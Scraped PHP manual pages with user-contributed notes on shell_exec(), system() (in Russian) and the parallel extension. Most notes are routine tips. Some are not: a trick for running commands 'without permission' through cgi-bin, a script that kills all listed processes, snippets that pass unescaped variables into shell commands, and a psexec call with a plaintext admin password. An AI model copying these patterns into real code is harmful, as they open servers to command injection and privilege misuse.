    $out = shell_exec("php -s $File");   //this fails
?>

it will always fail when run inside of the Eclipse debugger.  This happens on both Linux and Windows.  I finally isolated the problem to changes that Eclipse makes to the environment when debugging.

The fix is to force the ini setting.  If you don't need an ini then -n is sufficient.

<?php

    $out = shell_exec("php -n -s $File");   //this works
?>

Of course if you run it outside of the debugger then it works fine without the -n.   You may want to use a debug flag to control this behavior.
joelhy 08-Apr-2009 06:29
Here is a easy way to grab STDERR and discard STDOUT:
    add  '2>&1 1> /dev/null' to the end of your shell command

For example:
<?php
$output = shell_exec('ls file_not_exist 2>&1 1> /dev/null');
?>
dburles@NOSPAMgmailDOTcom 01-Feb-2009 03:07
Easy way to capture error output in windows

// we'll execute a php script as an example:
$out = shell_exec("php test.php 2> output");
print $out ? $out : join("", file("output"));

We assume in this case if the script produces output it has ran ok, the $out variable will then contain the output, if $out is empty then we read the captured error output from a file simply called 'output'.

Hope this helps someone
Rgemini 07-Jan-2009 03:46
A simple way to handle the problem of capturing stderr output when using shell-exec under windows is to call ob_start() before the command and ob_end_clean() afterwards, like this:

<?php
ob_start()
$dir = shell_exec('dir B:');
if is_null($dir)
{   // B: does not exist
    // do whatever you want with the stderr output here
}
else
{  // B: exists and $dir holds the directory listing
   // do whatever you want with it here
}
ob_end_clean();   // get rid of the evidence :-)
?>

If B: does not exist then $dir will be Null and the output buffer will have captured the message:

  'The system cannot find the path specified'.

(under WinXP, at least). If B: exists then $dir will contain the directory listing and we probably don't care about the output buffer. In any case it needs to be deleted before proceeding.
saivert at saivert dot com 12-May-2008 08:48
How to get the volume label of a drive on Windows

<?php

function GetVolumeLabel($drive) {
  // Try to grab the volume name
  if (preg_match('#Volume in drive [a-zA-Z]* is (.*)\n#i', shell_exec('dir '.$drive.':'), $m)) {
    $volname = ' ('.$m[1].')';
  } else {
    $volname = '';
  }
return $volname;
}

print GetVolumeLabel("c");

?>

Note: The regular expression assumes a english version of Windows is in use. modify it accordingly for a different localized copy of Windows.
gabekon at gmail dot com 03-Apr-2008 08:33
RE: kamermans note,

I was having a similar problem with the PATH variable when using shell_exec. Even with a hard-coded full path to a binary, I also got an error about a .so file that could not be found. After some reading up, I realized I had to set the LD_LIBRARY_PATH variable:

<?php

$command = 'export LD_LIBRARY_PATH="' . $path_to_library_dir .'"; ' . $path_to_binary;
shell_exec($command);

?>

Hope this saves someone a headache,

- G
RoBorg 08-Nov-2007 07:45
The Subversion error "svn: Can't recode string" can be caused by the locale being wrong.  Try
<?php
putenv('LANG=en_US.UTF-8');
?>
(or whatever your preferred locale is) before you call shell_exec()
kamermans at teratechnologies dot net 15-Oct-2007 08:01
I'm not sure what shell you are going to get with this function, but you can find out like this:

<?php
$cmd = 'set';
echo "<pre>".shell_exec($cmd)."</pre>";
?>

On my FreeBSD 6.1 box I get this:

USER=root
LD_LIBRARY_PATH=/usr/local/lib/apache2:
HOME=/root
PS1='$ '
OPTIND=1
PS2='> '
LOGNAME=root
PPID=88057
PATH=/etc:/bin:/sbin:/usr/bin:/usr/sbin
SHELL=/bin/sh
IFS='
'

Very interesting.  Note that the PATH may not be as complete as you need.  I wanted to run Ghostscript via ImageMagik's "convert" and ended up having to add my path before running the command:

<?php
$cmd = 'export PATH="/usr/local/bin/"; convert -scale 25%x25% file1.pdf[0] file2.png 2>&1';
echo "<pre>".shell_exec($cmd)."</pre>";
?>

ALSO, note that shell_exec() does not grab STDERR, so use "2>&1" to redirect it to STDOUT and catch it.
eric dot peyremorte at iut-valence dot fr 05-Oct-2007 02:01
I had trouble with accented caracters and shell_exec.

ex :

Executing this command from shell :

/usr/bin/smbclient '//BREZEME/peyremor' -c 'dir' -U 'peyremor%*********' -d 0 -W 'ADMINISTRATIF' -O 'TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=8192 SO_SNDBUF=8192' -b 1200 -N 2>&1

gave me that :

Videos                             D        0  Tue Jun 12 14:41:21 2007
  Desktop                            DH        0  Mon Jun 18 17:41:36 2007

Using php like that :

shell_exec("/usr/bin/smbclient '//BREZEME/peyremor' -c 'dir' -U 'peyremor%*******' -d 0 -W 'ADMINISTRATIF' -O 'TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=8192 SO_SNDBUF=8192' -b 1200 -N 2>&1")

gave me that :

  Vid  Desktop                            DH        0  Mon Jun 18 17:41:36 2007

The two lines were concatenated from the place where the accent was.

I found the solution : php execute by default the command with LOCALE=C.

I just added the following lines before shell_exec and the problem was solved :

$locale = 'fr_FR.UTF-8';
setlocale(LC_ALL, $locale);
putenv('LC_ALL='.$locale);

Just adapt it to your language locale.
Paul Cook 16-Sep-2006 11:00
The technique mentioned by Nathan De Hert below is rather insecure -- you should never leave a password lying around in a file readable by the apache user.

If you need this sort of functionality on *nix systems, have a look at the /etc/sudo file (edited with the command 'visudo'). The tag NOPASSWD allows specified commands to be run as root by another user, without needing to specify a password. It's a little extra configuration, but much more secure.
ruan at nospam dot tillcor dot com 24-Aug-2006 08:31
When following Kenneth's method for executing root scripts via the nanoweb server mentioned on this page you would most likely need to be able to run a text-mode browser like lynx and pass the php script to it (works great).

After struggling for a while (lynx kept asking me to download the file instead of executing it), I realised that I had to install php-cgi additionally and modify the nanoweb config file  to use that php interpreter instead of /usr/bin/php. (On Debian this is the CLI version).

On Ubuntu 6.06:

apt-get install php5-cgi

After editing /etc/nanoweb/nanoweb.conf and a quick restart of the web server, lynx and links will execute your PHP scripts properly.

Hope this helps somebody else out there :)

Ruan Fourie
rustleb at hotmail dot com 05-Jun-2006 01:45
For capturing stdout and stderr, when you don't care about the intermediate files, I've had better results with . . .
<?php
function cmd_exec($cmd, &$stdout, &$stderr)
{
    $outfile = tempnam(".", "cmd");
    $errfile = tempnam(".", "cmd");
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("file", $outfile, "w"),
        2 => array("file", $errfile, "w")
    );
    $proc = proc_open($cmd, $descriptorspec, $pipes);

    if (!is_resource($proc)) return 255;

    fclose($pipes[0]);    //Don't really want to give any input

    $exit = proc_close($proc);
    $stdout = file($outfile);
    $stderr = file($errfile);

    unlink($outfile);
    unlink($errfile);
    return $exit;
}
?>

This isn't much different than a redirection, except it takes care of the temp files for you (you may need to change the directory from ".") and it blocks automatically due to the proc_close call.  This mimics the shell_exec behavior, plus gets you stderr.
rigsbr at yahoo dot com dot br 16-Feb-2006 06:24
If you need to execute a command without permission and could not execute it by ssh or install any extension, there is a way in Apache 1.3.x and PHP 4.
Create a file on cgi-bin directory, like this:

#!/usr/bin/php
<?
  echo shell_exec('whoami');
?>

Don't forget to set the file you created the permission to execute it. Hence, call it from browser and you will se that this script will be executed by the shell user and not the user nobody (apache default user if running a PHP script).
Ashraf Kaabi 19-Dec-2005 10:06
I've write a Full Class for Run in Background, Kill PID , check if is Running

<?php
/**
 * @author     Ashraf M Kaabi
 * @name       Advance Linux Exec
 */
class exec {
    /**
     * Run Application in background
     *
     * @param     unknown_type $Command
     * @param     unknown_type $Priority
     * @return     PID
     */
    function background($Command, $Priority = 0){
       if($Priority)
           $PID = shell_exec("nohup nice -n $Priority $Command > /dev/null & echo $!");
       else
           $PID = shell_exec("nohup $Command > /dev/null & echo $!");
       return($PID);
   }
   /**
    * Check if the Application running !
    *
    * @param     unknown_type $PID
    * @return     boolen
    */
   function is_running($PID){
       exec("ps $PID", $ProcessState);
       return(count($ProcessState) >= 2);
   }
   /**
    * Kill Application PID
    *
    * @param  unknown_type $PID
    * @return boolen
    */
   function kill($PID){
       if(exec::is_running($PID)){
           exec("kill -KILL $PID");
           return true;
       }else return false;
   }
};
?>
php [AT] jsomers [DOT] be 27-Sep-2005 06:00
<?php

/**
 * PHP Kill Process
 *
 * Sometimes, it can happen a script keeps running when it shouldn't, and it
 * won't stop after we close the browser, or shutdown the computer. Because it's
 * not always easy to use SSH there's a workaround.
 *
 * @author      Jensen Somers <php@jsomers.be>
 * @version     1.0
 */

class KillAllProcesses {
    /**
     * Construct the class
     */
    function killallprocesses() {
        $this->listItems();
    }

    /**
     * List all the items
     */
    function listItems() {
        /*
         * PS   Unix command to report process status
         * -x   Select processes without controlling ttys
         *
         * Output will look like:
         *      16479 pts/13   S      0:00 -bash
         *      21944 pts/13   R      0:00 ps -x
         *
         */
        $output =   shell_exec('ps -x');

        $this->output($output);

        // Put each individual line into an array
        $array  =   explode("\n", $output);

        $this->doKill($array);
    }

    /**
     * Print the process list
     * @param   string  $output
     */
    function output($output) {
        print   "<pre>".$output."</pre>";
    }

    /**
     * Kill all the processes
     * It should be possible to filter in this, but I won't do it now.
     * @param   array   $array
     */
    function doKill($array) {
        /*
         * Because the first line of our $output will look like
         *        PID TTY      STAT   TIME COMMAND
         * we'll skip this one.
         */
        for ($i = 1; $i < count($array); $i++) {
            $id =   substr($array[$i], 0, strpos($array[$i], ' ?'));
            shell_exec('kill '.$id);
        }
    }
}

new KillAllProcesses();

?>

It's not the very best solution, but I've used it a couple of times when I needed to do it quick without to much trouble.
Make not I kill all the processes, on my server px -x will only return like 4 times /sbin/apache and it's pretty safe to kill them without any trouble.
concept at conceptonline dot hu 19-Sep-2005 02:02
Interestingly, if you execute a script which is not in your path (or you have made a typo, or if the script does no exist at all), you will get no return value. The error will be logged into the error_log of your webserver.

Someone could add a note how this can be (if it could be) overriden, as the standard behaviour is not really fool-proof.
phillipberry at NOSPAM dot blisswebhosting dot com 11-Apr-2005 01:13
I found something odd.

If you run exec then straight after shell_exec the shell_exec will simply not run and will return NULL.

To get it to work i put a sleep(5) after the exec and now shell_exec works fine.
03-Jan-2005 09:10
Be careful as to how you elevate privileges to your php script.  It's a good idea to use caution and planing.  It is easy to open up huge security holes.  Here are a couple of helpful hints I've gathered from experimentation and Unix documentation.

Things to think about:

1. If you are running php as an Apache module in Unix then every system command you run is run as user apache.  This just makes sense.. Unix won't allow privileges to be elevated in this manner.  If you need to run a system command with elevated privileges think through the problem carefully!

2. You are absolutely insane if you decide to run apache as root.  You may as well kick yourself in the face.  There is always a better way to do it.

3. If you decide to use a SUID it is best not to SUID a script.  SUID is disabled for scripts on many flavors of Unix.  SUID scripts open up security holes, so you don't always want to go this route even if it is an option.  Write a simple binary and elevate the privileges of the binary as a SUID.  In my own opinion it is a horrible idea to pass a system command through a SUID-- ie have the SUID accept the name of a command as a parameter.  You may as well run Apache as root!
James McCormack 05-Aug-2004 01:50
I had a perl program which ran fine from command line but not using shell_exec(), exec() or system() - nothing was being returned. I was using the full path and permissions were set correctly.

It turned out the perl program was using more memory than my PHP.INI file was set to allow. Increasing "memory_limit" solved the problem.
Martin Rampersad 11-Jan-2004 01:13
I have PHP (CGI) and Apache. I also shell_exec() shell scripts which use PHP CLI. This combination destroys the string value returned from the call. I get binary garbage.  Shell scripts that start with #!/usr/bin/bash return their output properly.

A solution is to force a clean environment.  PHP CLI no longer had the CGI environment variables to choke on.

<?php

// Binary garbage.
$ExhibitA = shell_exec('/home/www/myscript');

// Perfect.
$ExhibitB = shell_exec('env -i /home/www/myscript');

?>

-- start /home/www/myscript
#!/usr/local/bin/phpcli
<?php

echo("Output.\n");

?>
-- end /home/www/myscript
jessop <AT> bigfoot <DOT> com 03-Dec-2003 12:19
Just a quick reminder for those trying to use shell_exec on a unix-type platform and can't seem to get it to work. PHP executes as the web user on the system (generally www for Apache), so you need to make sure that the web user has rights to whatever files or directories that you are trying to use in the shell_exec command. Other wise, it won't appear to be doing anything.
mcbeth at broggs dot org 14-Apr-2003 02:18
As far as error checking on the last example.  Several of the shells have the && operator, so you just string your commands together using it instead of ; If at any time any of the programs fail, you will return without running the rest
tonysb at gmx dot net 30-Mar-2002 12:57
shell_exec is extremely useful as a substitute for the virtual() function where unavailable (Microsoft IIS for example). All you have to do is remove the content type string sent in the header:

<?
$mstrng = shell_exec('yourcgiscript.cgi');
$mstrng = ereg_replace( "Content-type: text/html", "", $mstrng );
echo $mstrng;
?>

This works fine for me as a substitute for SSI or the virtual() func.

Anton Babadjanov
http://www.vbcn.com.ar


Выполнить внешнюю программу и отобразить вывод

  • « shell_exec
  • parallel »
  • PHP Manual
  • Функции запуска программ
  • Выполнить внешнюю программу и отобразить вывод

system

(PHP 4, PHP 5, PHP 7, PHP 8)

system — Выполнить внешнюю программу и отобразить вывод

Описание

system(string $command, int &$result_code = null): string|false

system() похожа на C-версию этой функции в том, что она выполняет указанную команду command и выводит её результат.

Вызов функции system() также пытается автоматически очистить буфер вывода веб-сервера после каждой строки вывода, если PHP работает как модуль сервера.

Если вам нужно выполнить команду и получить все данные из команды непосредственно без каких-либо препятствий, используйте функцию passthru().

Список параметров

command

Команда, которая будет выполнена.

result_code

Если передан аргумент result_code, то в эту переменную будет записан код возврата выполненной команды.

Возвращаемые значения

Возвращает последнюю строку вывода команды в случае успешного выполнения, и false - в случае неудачи.

Примеры

Пример #1 Пример использования system()

<?php
echo '<pre>';

// Выводит весь результат команды оболочки "ls" и возвращает
// последнюю строку вывода в переменной $last_line. Сохраняет код возврата
// команды в $retval.
$last_line = system('ls', $retval);

// Выводим дополнительную информацию
echo '
</pre>
<hr />Последняя строка вывода: ' . $last_line . '
<hr />Код возврата: ' . $retval;
?>

Примечания

Внимание

Если вы собираетесь передавать функции пользовательские данные, используйте функции escapeshellarg() или escapeshellcmd() для того, чтобы пользователи не смогли обмануть систему, запустив произвольную команду.

Замечание:

Если вы собираетесь использовать эту функцию в программе, работающей в качестве демона, убедитесь, что стандартный вывод функции направлен в файл или другой поток, в противном случае PHP зависнет вплоть до конца выполнения программы.

Смотрите также

  • exec() - Выполнить внешнюю программу
  • passthru() - Выполнить внешнюю программу и отобразить необработанный вывод
  • popen() - Открывает файловый указатель процесса
  • escapeshellcmd() - Экранировать метасимволы командной строки
  • pcntl_exec() - Запустить указанную программу в области текущего процесса
  • Оператор исполнения

User Contributed Notes

Anonoymous 11-Apr-2019 11:06
Windows commands requiring a GUI.

Alot of the info on this topic is from the 2010-2012 time frame and referring to XP, and basically don't work.  I am using apache/php/mysql in windows 7.

When requiring a system command in windows with a GUI - such as a labview executable, notepad, etc..., others have mentioned the psexec command from sysinternals, since cmd /c wont work, but the specific use was not real clearly defined.  Here is what worked for me on windows 7:

system('C:/nttools/2019/psexec \\\\10.100.100.101 -i  -u administrator -p password -accepteula -nobanner C:\\htdocs\\test\\test.bat');

The path to the psexec executable is with forward slashes, the remote PC network location (which was actually the local PC, not remote) was \\ip_address with an extra backslash for each backslash so that required the 4 \'s.

The path for the command to be executed by psexec required backslashes, which also requires double backslashes.

The -i option is for an interactive program, and is required for it to properly run, otherwise it show up in the taskmanager but not be visable or execute properly if given command line arguments.

The -accepteula -nobanner is to suppress the sysinternals message box about their license.

My command to execute is really long with multiple command line inputs with many surrounded in double quotes, so I thought it would be easiest to put that in a batch file and just call the bat file.  Works great, remote users loading the webpage causes the executable to pop up on the web server, do its analysis and disappear.  Labview can read native excel files with active-x functions and write to a mysql data base to store results etc, so thats a pretty powerful combination of functions.
Alastair Irvine 11-Dec-2017 02:10
Note that system() returns FALSE on failure, but this does NOT happen when the command returned a non-zero exit code.  system() won't even fail if the command isn't found.  (bash returns exit code 127 in this case.)  I assume system() only returns FALSE when something seriously bad happens, like not being able to run your shell.
no at mail dot com 19-May-2012 10:06
This is for WINDOWS users. I am running apache and I have been trying for hours now to capture the output of a command.

I'd tried everything that is written here and then continued searching online with no luck at all. The output of the command was never captured. All I got was an empty array.

Finally, I found a comment in a blog by a certain amazing guy that solved my problems.

Adding the string ' 2>&1' to the command name finally returned the output!! This works in exec() as well as system() in PHP since it uses stream redirection to redirect the output to the correct place!

system("yourCommandName 2>&1",$output) ;
kexianin at diyism dot com 02-Dec-2009 11:41
If you can't see any output or error from system(), shell_exec() etc, you could try this:

<?php
function my_exec($cmd, $input='')
         {$proc=proc_open($cmd, array(0=>array('pipe', 'r'), 1=>array('pipe', 'w'), 2=>array('pipe', 'w')), $pipes);
          fwrite($pipes[0], $input);fclose($pipes[0]);
          $stdout=stream_get_contents($pipes[1]);fclose($pipes[1]);
          $stderr=stream_get_contents($pipes[2]);fclose($pipes[2]);
          $rtn=proc_close($proc);
          return array('stdout'=>$stdout,
                       'stderr'=>$stderr,
                       'return'=>$rtn
                      );
         }
var_export(my_exec('echo -e $(</dev/stdin) | wc -l', 'h\\nel\\nlo'));
?>

For example, "echo shell_exec('ls');" will get nothing output,
"my_exec('ls');" will get "sh: ls: command not found",
"my_exec('/bin/ls');" will maybe get "sh: /bin/ls: Permission denied",
and the permission may be caused by selinux.
grytolle at gmail dot com 03-May-2009 10:12
This is a work-around that makes the program run in it's own directory instead of the script's.

example usage:
<?php runAsynchronously("c:\games\jazz2\jazz2.exe","-connect 1.2.3.4"); ?>

<?php
function runAsynchronously($path,$arguments) {
    $WshShell = new COM("WScript.Shell");
    $oShellLink = $WshShell->CreateShortcut("temp.lnk");
    $oShellLink->TargetPath = $path;
    $oShellLink->Arguments = $arguments;
    $oShellLink->WorkingDirectory = dirname($path);
    $oShellLink->WindowStyle = 1;
    $oShellLink->Save();
    $oExec = $WshShell->Run("temp.lnk", 7, false);
    unset($WshShell,$oShellLink,$oExec);
    unlink("temp.lnk");
}
?>
Daniel Morris (danielxmorris.com) 02-Jun-2008 06:34
How to produce a system beep with PHP.

<?php
        function beep ($int_beeps = 1) {
            for ($i = 0; $i < $int_beeps; $i++): $string_beeps .= "\x07"; endfor;
            isset ($_SERVER['SERVER_PROTOCOL']) ? false : print $string_beeps;
        }

?>

This will not do anything when running through a browser, if running through a shell it will produce an audible beep $int_beeps times.  This should work on Windows, Unix, etc.
vlad dot sharanhovich at gmail dot com 09-Apr-2008 12:33
The double quote problem on Windows platform discussed earlier here in comments still present in PHP 5.2.5. You can't execute system($command) if $command contains more than 2 " chars. system('"echo" A'); works, while system('"echo" "A"'); does not. Search comment, that was a solution posted to overhaul this issue via temporary .bat file.
timgolding_10 at hotmail dot com 20-Jul-2007 07:19
An example of using the system to call the file command on a linux server. This script detects whether a user posted file is a jpeg, gif or png

<?PHP

$accepted_types=array("JPEG" , "GIF", "PNG");

    // The temporary filename of the file in which the uploaded file was stored on the server.
if(!empty($_FILES["uploadedfile"]))
  {
    $uploaddir = $_SERVER['DOCUMENT_ROOT']."/images/";
    $uploaddir.=basename( $_FILES['uploadedfile']['name']);

 //verfiy file using linux FILE command
 $last_line = system('file '.escapeshellarg($_FILES['uploadedfile']['tmp_name']), $retval);

 //get the file extension returned through magic database
 $splitvals=explode(' image data' ,  $last_line);
 $vals=explode(':', $splitvals[0]);
 $vals[1]=str_replace(' ','', $vals[1]);

 if (in_array($vals[1], $accepted_types))
 {
    echo $vals[1].' was accepted <br />';
        if(!file_exists($uploaddir)){
            //Copy the file to some permanent location
            if(move_uploaded_file($_FILES["uploadedfile"]["tmp_name"], $uploaddir))
             {
              echo $uploaddir." was uploaded! <br />";
             }
            else
             {
              echo "There was a problem when uploding the new file, please contact admin about this.";
             }
        }
        else echo 'This file already exists in DB please rename file before uploading';
}
}else echo $_FILES['uploadedfile']['error'].'<br />';
?>
dan at thecsl dot org 29-May-2006 08:45
You probably want to check your system calls for errors. The convention is to return 0  for "no error" which is the same as FALSE which can be confusing. You need to do something like:

<?php
  $cmd = "/usr/bin/pngtopnm $png_file > $pnm_file";
  system($cmd,$return_value);
  ($return_value == 0) or die("returned an error: $cmd");
?>
vdweij at hotmail dot com 09-Aug-2005 02:41
It is possible to only capture the error stream (STERR). Here it goes...

(some_command par1 par2 > /dev/null) 3>&1 1>&2 2>&3

-First STDOUT is redirected to /dev/null.
-By using parenthesis it is possible to gain control over STERR and STOUT again.
-Then switch STERR with STOUT.

The switch is using the standard variable switch method -- 3 variables (buckets) are required to swap 2 variables with each other. (you have 2 variables and you need to switch the contents - you must bring in a 3rd temporary variable to hold the contents of one value so you can properly swap them).

This link gave me this information:
http://www.cpqlinux.com/redirect.html
eric_REMOVE at movementmovement_REMOVE dot com 21-May-2004 12:56
It's important to note that if you are running a series of system() commands in a loop, you need to include the second argument in order for them to run synchonously.

ie)

// this will execute process.php asynchronously; not waiting for completion before executing the next one.
$array = array('apple', 'banana', 'pear');
foreach($array as $i)
{
system("php process.php \"fruit=$i\"");
}

// this will execute process.php 3 times, waiting for the prior command to complete before starting a new one
$array = array('apple', 'banana', 'pear');
foreach($array as $i)
{
system("php process.php \"fruit=$i\"", $status);
}
mortoray at ecircle-ag dot com 04-Mar-2004 03:55
Do not use "system" if you use the "php.ini" option:
    zlib.output_compression = On

Doing so will result in the browser receiving garbage (I'm guessing the headers/buffers get confused).

Use passthru in this case, it appears to work as intended.
morris_hirsch at hotmail dot com 16-Sep-2003 02:49
another reason to use shell_exec instead of system is when the result is multiple lines such as grep or ls

<?php

// this correctly sets answer string to all lines found
//$answer = shell_exec ("grep 'set of color names' *.php ");
//echo "answer = $answer";

// this passes all lines to output (they  show on page)
// and sets answer string to the final line
 $sys = system ("grep 'set of color names' *.php ");
 echo "sys =(($sys))";

?>

here is view/source resulting from system call

setprefs.php:// The standard set of color names is:
setprefs.php:// Most browsers accept a wider set of color names
silly.php:  //$answer = shell_exec ("grep 'set of color names' *.php ");
silly.php: $sys = system ("grep 'set of color names' *.php ");
sys =((silly.php: $sys = system ("grep 'set of color names' *.php ");))

and here is view source from using shell_exec instead

answer = setprefs.php:// The standard set of color names is:
setprefs.php:// Most browsers accept a wider set of color names
silly.php:  $answer = shell_exec ("grep 'set of color names' *.php ");
silly.php:// $sys = system ("grep 'set of color names' *.php ");
lc at _REMOVE__THIS_lc dot yi dot org 09-Sep-2003 05:24
Re: cpmorris at hotmail dot com and WINNT.

I just spent some time learning to use the php system function.  I managed to get long file names to work for me.  It seems you need to take the same approach that batch files, WSH, and most other programming languages do under WinNT/2K/XP.  Putting double quotes around the Path+Filename seems to work.  So, something like this should have worked for you:

"c:\program files\apache group\apache2\bin\htpasswd"

Note that if you have parameters, they go OUTSIDE of the last quote.  Oh, and don't forget to escape the slashes and quotes!

I don't know what htpasswd's params are, but let us pretend:

$cmd="\"c:\\program files\\apache group\\apache2\\bin\\htpasswd\" username password";
$str=system($cmd);

Hope this helps someone!

Leonard
http:\\www.lc.yi.org
Jim Belton 26-Aug-2003 01:58
To run a full screen program from a PHP CLI script, redirect input from and output to /dev/tty.  For example:

system("timeconfig > /dev/tty < /dev/tty");

System will wait for the program to finish before continuing.
d dot kraft at szo dot de 10-Mar-2003 02:18
For PHP running inside a Webserver:

When calling a process via
system("your_process &");
to make it running in background, note that this process is killed when the webserver is restarted.
cnoelker at softpearls dot de 05-Mar-2003 06:13
Hi,
some tips for using a system()-call for batch files on a windows computer:
* Write the path to the executable with double back-slashes, like so:
   C:\\path\\to\\prog.exe
* If you are refering to other pathes, e.g. as a parameter, one back-slash works fine.
* Do not use SET for declaring parameters - this does not work! Example:
   SET PATH="C:\path\to\lib"
   echo path is %PATH%
This works fine when started from the comand line, but when called from PHP, the variable is just empty.
nospam at php dot net 24-Jul-2000 05:57
If you are trying to parse a CGI script to your webserver which needs arguments, take a look to the virtual() function .. it took me long before i found out it existed...
It's used like this:
<?php
virtual("/cgi-bin/lastuser.cgi?argument");
?>
And that works excellent now for me
ccurtis at aet-usa dot com 14-Jun-1999 11:07
If no headers have been printed, calling the system() function will flush the headers to the client and insert a newline; no further headers or cookies will be transferred to the browser.  In version 3.0.7, you will not be warned that the Header() function failed, but will be warned if trying to set a cookie.  If you want to continue to send headers after the function call, use exec() instead.


parallel

  • Введение
  • Установка
  • Философия
  • Функциональный API
    • parallel\bootstrap — Начальная загрузка
    • parallel\run — Выполнение
  • parallel\Runtime — Класс parallel\Runtime
    • parallel\Runtime::__construct — Конструктор класса Runtime
    • parallel\Runtime::run — Выполнение
    • parallel\Runtime::close — Изящное соединение во время выполнения
    • parallel\Runtime::kill — Соединение во время выполнения
  • parallel\Future — Класс parallel\Future
    • parallel\Future::cancel — Прекращение
    • parallel\Future::cancelled — Определение состояния
    • parallel\Future::done — Определение состояния
    • parallel\Future::value — Разрешение
  • parallel\Channel — Класс parallel\Channel
    • parallel\Channel::__construct — Конструктор класса Channel
    • parallel\Channel::make — Доступ
    • parallel\Channel::open — Доступ
    • parallel\Channel::recv — Совместное использование
    • parallel\Channel::send — Совместное использование
    • parallel\Channel::close — Закрытие
  • parallel\Events — Класс parallel\Events
    • parallel\Events::setBlocking — Поведение
    • parallel\Events::setTimeout — Поведение
    • parallel\Events::setInput — Вход
    • parallel\Events::addChannel — Цели
    • parallel\Events::addFuture — Цели
    • parallel\Events::remove — Цели
    • parallel\Events::poll — Опрос
  • parallel\Events\Input — Класс parallel\Events\Input
    • parallel\Events\Input::add — Входы
    • parallel\Events\Input::clear — Входы
    • parallel\Events\Input::remove — Входы
  • parallel\Events\Event — Класс parallel\Events\Event
  • parallel\Events\Event\Type — Класс parallel\Events\Event\Type
  • parallel\Sync — Класс parallel\Sync
    • parallel\Sync::__construct — Конструктор класса
    • parallel\Sync::get — Доступ
    • parallel\Sync::set — Доступ
    • parallel\Sync::wait — Синхронизация
    • parallel\Sync::notify — Синхронизация
    • parallel\Sync::__invoke — Синхронизация

User Contributed Notes

There are no user contributed notes for this page.


Введение

parallel - это модуль параллельного выполнения для PHP ? 7.2.0. Начиная с parallel 1.2.0, требуется PHP ? 8.0.0.

Краткое описание основных понятий параллельных процессов описано ниже, более подробную информацию можно найти в этом разделе руководства.

Runtime

parallel\Runtime представляет поток интерпретатора PHP. parallel\Runtime настроен с дополнительным файлом начальной загрузки, переданным в parallel\Runtime::__construct(), обычно это автозагрузчик или какая-либо другая процедура предварительной загрузки: файл начальной загрузки будет подключаться перед выполнением любой задачи.

После создания parallel\Runtime остаётся доступным до тех пор, пока он не будет закрыт, уничтожен или уничтожен обычными правилами области видимости объектов PHP. parallel\Runtime::run() позволяет программисту планировать задачи для параллельного выполнения. У parallel\Runtime расписание FIFO, задачи будут выполняться в том порядке, в котором они запланированы.

Функциональный API

parallel реализует функциональный API более высокого уровня поверх parallel\Runtime, который обеспечивает единую точку входа функции для выполнения параллельного кода с автоматическим планированием: parallel\run().

Задача

Задача - это просто замыкание (Closure), предназначенное для параллельного выполнения. Closure может содержать практически любую инструкцию, включая вложенные замыкания. Однако есть некоторые инструкции, которые запрещены в задачах:

  • yield

  • use by-reference

  • declare class

  • declare named function

Замечание:

Вложенные замыкания могут содержать "yield" или "use by-reference", но не должны содержать объявления классов или именованных функций.

Замечание:

Никакие инструкции не запрещены в файлах, которые может включать задача.

Фьючерс

parallel\Future используется для доступа к возвращаемому значению из задачи и предоставляет API для отмены задачи.

Канал

Задачу можно запланировать с аргументами, использовать переменные лексической области видимости (по значению) и вернуть значение (с помощью parallel\Future), но это разрешает только однонаправленную связь: Это позволяет программисту отправлять данные и извлекать данные из задачи, но не допускают двунаправленную связь между задачами. API parallel\Channel обеспечивает двунаправленную связь между задачами, parallel\Channel - это соединение типа сокета между задачами, которое программист может использовать для отправки и получения данных.

События

API parallel\Events реализует собственный цикл событий (Traversable) и метод parallel\Events::poll(). Это позволяет программисту работать с наборами каналов и/или фьючерсами. Программист просто добавляет каналы и фьючерсы в цикл событий, необязательно устанавливая вход для записи с помощью parallel\Events::setInput(), и входит в foreach: parallel будет читать и записывать объекты по мере их превращения. Доступно с получением объектов parallel\Events\Event, описывающих произошедшие операции.

Смотрите также

  • Философия

User Contributed Notes

There are no user contributed notes for this page.


Установка

Требования

Для работы parallel требуется сборка PHP с включённым ZTS (Zend Thread Safety). Сделать это можно указав при компиляции ключ --enable-zts или на системах, отличных от Windows, до PHP 8.0.0, ключ --enable-maintainer-zts.

Предостережение

Zend Thread Safety нельзя включить после сборки; это вариант конфигурации во время сборки.

parallel следует собирать везде, где есть рабочий заголовок Posix Threads (pthread.h) и ZTS-сборка PHP, включая Windows (с использованием проекта pthread-w32 от redhat).

Установка

Выпуски parallel размещаются на PECL, а исходный код - на » GitHub, Самый простой способ установки - это обычный маршрут PECL: » https://pecl.php.net/package/parallel.

Пользователи Windows могут загрузить готовые двоичные файлы выпуска с сайта » PECL.

Предостережение

Пользователи Windows должны предпринять дополнительный шаг, добавив pthreadVC2.dll (распространяется вместе с выпусками Windows) в их PATH.

User Contributed Notes

Mike 04-Nov-2022 03:46
Version 1.2.0, released on October 24, 2022, supports PHP 8.0.0.
Anonym 10-Sep-2022 12:44
As it seems, the last compiled Windows version is for PHP 7.4 which PHP 8.x refuses to load as extension. In his GitHub repository the author of the parallels extension wrote on August 2021 that the project is "probably a dead end" and the project hasn't been updated since 2 years.
andre at webtechnik dot ch 20-May-2021 08:59
On Windows Systems:

- Install PHP TS (Thread Safe)
- Download Extension from PECL (PHP-Version, Thread Safe (TS), Compiler - Version (VC15, VC16), Architecture must match)
- Copy extension to folder: <your php dir>/ext/php_parallel.dll
- Copy app to folder: <your php dir>/pthreadVC2.dll (It is important to copy pthreadVC2.dll not into the ext folder!)
- add pthreadVC2.dll to windows system environment path
- add in php.ini the line extension=parallel to load the extension
- restart

Try on console: php -v

If there are no errors, everything works and you can try the examples


Философия

Раздел содержит основные принципы, важные для написания параллельного кода и некоторые подробности о внутренней реализации parallel.

Не общайтесь, разделяя память; вместо этого поделитесь памятью, с помощью общения.

Эта философия, которой придерживается parallel, берёт своё начало из Go, одной из самых популярных из используемых платформ для написания параллельного кода в настоящее время. Программисты на Go должны упорно трудиться, чтобы соответствовать этому идеалу: PHP и параллельный интерфейс делают всю тяжёлую работу за программиста, причём по умолчанию.

В традиционных моделях потоковой передачи, встречающихся в других языках, потоки обычно обмениваются данными друг с другом только благодаря тому факту, что они работают в одном и том же адресном пространстве. Программист должен использовать взаимное исключение, переменные условия и другие низкоуровневые примитивы потоковой передачи или синхронизации, чтобы обеспечить надлежащую передачу состояния и согласованность.

